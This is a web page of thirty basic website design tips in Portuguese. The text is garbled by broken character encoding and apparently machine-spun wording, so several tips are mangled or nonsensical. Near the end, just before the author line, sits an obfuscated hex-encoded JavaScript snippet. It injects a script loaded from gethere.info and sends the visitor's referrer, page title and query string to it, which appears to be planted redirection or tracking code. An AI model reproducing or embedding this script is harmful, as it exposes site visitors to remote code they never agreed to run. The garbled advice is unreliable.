Diretrizes e dicas bA?sicas a cerca de design do sites – Apenas o senso natural

Diretrizes e dicas bA?sicas a cerca de design do sites – Apenas o senso natural

Diretrizes e dicas bA?sicas a cerca de design do sites – Apenas o senso natural

CA? estA?o vA?rias diretrizes e dicas de design para ajudar vocA? a produzir um sitio amigA?vel.

1. Primeiro, descubra o que vocA? deseja fazer e faA�a 1 plano para isso. Isso pode envolver algum brainstorming. Em seguida, traduza as suas ideias e planos pelo papel desenhando um diagrama ou 1 fluxograma para visualizA?-lo. EntA?o, ACT on it.

2. Mantenha seu design bronco, claro, consistente e elementar de usar.

3. Um design chocho, com look, facilita a criaA�A?o do seu site. O resultado final serA? um website que seus visitantes acharA?o fA?cil por navegar e obterA? qualquer informaA�A?o de que desejarem.

4. Seu conteA?do deve ser chocho, completo e direto ao ponto. Deve deixar clara a intenA�A?o de suas pA?ginas, cobrir o assunto completamente e transmitir as mensagens diretamente para seus visitantes.

5. Se este seu design parece dificil, redesenhe e simplifique. O design / layout dificil sA? tornarA? mais complicado para vocA? construir suas pA?ginas da web. TambA�m pode confundir seus visitantes se este seu site estiver repleto de informaA�A�es complicadas.

seis. Seja consistente em toda a sua prA?pria abordagem de design. O fundo, o uso da cor e o formato por texto devem ser cuidadosamente escolhidos e o layout da tela para todas as as suas pA?ginas A� especialmente visivelmente consistente.

7. Crie um logotipo simples para identificar seu site. Tenha uma linha de tag cativante em algum lugar com o cabeA�alho e escreva uma pA?gina A respeito de nA?s, que descreve a exclusividade do seu site. Estes vA?o deixar uma impressA?o para os seus visitantes para lembrar seu site. FaA�a uma declaraA�A?o de direitos autorais na parte inferior de suas pA?ginas da web.

oito. Tenha um esquema por cores claras com base no tA?pico do seu site. Alternativa cuidadosamente um conjunto de cores de que vocA? usa para seu plano por fundo, artigo, borda, tabelas e cA�lulas etc. O esquema de cores expressa os caracteres do seu site e o torna A?nico e atraente.

nove. Identifique quem sA?o seus visitantes-alvo e como o visitante faria sua prA?pria apresentaA�A?o. Decida o tom do uso da linguagem e a abordagem de que melhor se adequarA? aos seus visitantes. Se este seu uso de linguagem deve ser casual e simples ou formal e tA�cnico? Se o visitante deve utilizar uma abordagem orientada por imagens ou linguagem no seu site.

10. Para facilitar a leitura, o comprimento de linhas de artigo nA?o deve exceder certa largura na tela do computador. Para limitar o comprimento do uma linha de artigo, use este texto por recuo ou use uma tabela usando a largura predefinida.

11. Blocos longos de passagens de post podem ser tediosos e extenuantes para serem lidos. Tente utilizar frases curtas, parA?grafos curtos e formulA?rio de lista numerada ou com marcadores para separA?-los.

12. A largura por suas pA?ginas da Web nA?o deve, de preferA?ncia, exceder a largura da tela do computador. Os indA�viduos que visualizam seu sitio normalmente nA?o se importam de rolar a tela para cima e para baixo. mas ficarA?o aborrecidos quando tiverem que rolar para a esquerda e para a direita.

13. Tamanho da fonte: use fonte de tamanho elevado; Tenha em mente que alguns por seus visitantes podem deter pouca visA?o; alguns podem possibilitar ter visA?o prejudicada parcial e vA?rias pessoas normais que meramente nA?o suportam ler minA?sculos roteiros na tela do computador.

14. A cor do texto deve contrastar bem com a cor de fundo para ser facilmente lida. Da mesma forma, a imagem por plano do fundo ou textura escolhida deve contrastar bem usando a cor do artigo, de modo que mesmo que fA?cil por ler na tela.

15. Parece A?timo na tela e calmante para os olhos. PorA�m nA?o A� recomendA?vel utilizar texto natural em 1 fundo pesado. Quando alguA�m quiser imprimir sua pA?gina para referA?ncia, ela nA?o serA? impressa porque este fundo nA?o serA? impresso; enquanto o texto branco A� impresso em papel branco, o visitante nA?o vA? nada.

16. As imagens que vocA? coloca em uma pA?gina da web nA?o estA?o lA? apenas para decoraA�A?o. Eles devem ser relevantes e precisos para utilizar como visual para ajudar a transmitir a recado ou servir para quebrar uma mensagem de artigo longa e monA?tona.

17. Limite o tamanho do uma imagem que vocA? insere em uma pA?gina da web. A imagem grande demora mais tempo a ser apresentada e a maioria dos visitantes nA?o gosta de aguardar muito tempo para olhar uma determinada imagem.

18. Mantenha este tamanho do uma pA?gina da web pequena para que ela se abra rapidamente – de primazia menos do 10 segundos. Se a pA?gina for muito longa, tiver muitos itens para carregar e retardar a exibiA�A?o, considere dividi-la em pA?ginas menores e vinculA?-las.

19. ConteA?dos como vA�deo, A?udio, animaA�A�es em flash, etc. sA?o enormes em tamanho. Eles retardarA?o a exibiA�A?o da pA?gina. Se demorar bastante para carregar uma pA?gina, os espectadores podem desistir e sair. Eles igualmente usam mais da sua prA?pria largura do banda.

20. Certifique-se que os visitantes se locomovem navegando pelo seu sitio com destreza. Eles devem ser capazes de descobrir rapidamente o que estA?o procurando e chegar lA?. Use 1 menu ou mapa de imagens, 1 mapa do site, setas, links e botA�es para fornecer orientaA�A?o aos seus visitantes.

21. Verifique se as pA?ginas estA?o interligadas para facilitar a navegaA�A?o. Os links devem ser bem organizados, estrategicamente posicionados e fA?ceis de detectar usando cores apropriadas. Use links de ancoragem para facil itate navigation on the same page. Always check for any broken links and fix them.

22. Carregue todas as informaA�A�es importantes e vitais na principal pA?gina de que os visitantes visualizam. FaA�a uma breve introduA�A?o ao seu site com um breve cabeA�alho, listas marcadas, resumos curtos, etc. Isso informarA? quase de imediato se sua pA?gina A� especialmente o que estA? procurando.

23. O layout da tela do seu site parece limpo e organizado? PeA�a a alguA�m para dar uma olhada e arrecadar seu feedback. VocA? vai se surpreender!

24. Este conteA?do dentro de uma tabela deve ter 1 pouco do espaA�o entre as bordas. Defina 1 preenchimento ao redor da tabela ou defina o recuo do seu conteA?do.

25. NA?o adicione simplesmente todos os truques e imagens animadas talvez possa encontrar somente porque considera que sA?o legais. Na realidade, eles sA?o perturbadores e confusos.

26. Decida se deseja usar ou nA?o as janelas pop-up. Eles sA?o A?timos para mostrar a feitio dos espectadores; mas pode ser perturbador e irritante tambA�m. Quaisquer espectadores descartam anA?ncios pop-up como anA?ncios e estes fecham imediatamente. O pop-up tambA�m nA?o funcionarA? se os espectadores tiverem instalado um bloqueador de pop-up.

27. Incentive os visitantes a entrar em contato com vocA?, fornecendo uma pA?gina Fale Conosco com o seu link de e-mail. A� ainda melhor ter uma caixa opt-in de que sirva para coletar visitantes? contato e dados.

28. Estude o design de outros sites e configure-os. Aprecie como eles planejam e organizam seus cabeA�alhos, links, menu, botA�es, imagens e etc. Em seguida, escolha, adote e modifique o desenho que melhor se adapte A�s suas urgA?ncias.

29. Use modelos de site, se vocA? nA?o possui nenhum talento de design.

30. FaA�a uma criar site de vendas cA?pia do backup para todas as suas pA?ginas da web. Isso vai lhe aforrar muitos problemas no caso de vocA? ter de que reconstruir seus sites.

var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

ABOUT AUTHOR

Nileshbhai Adesara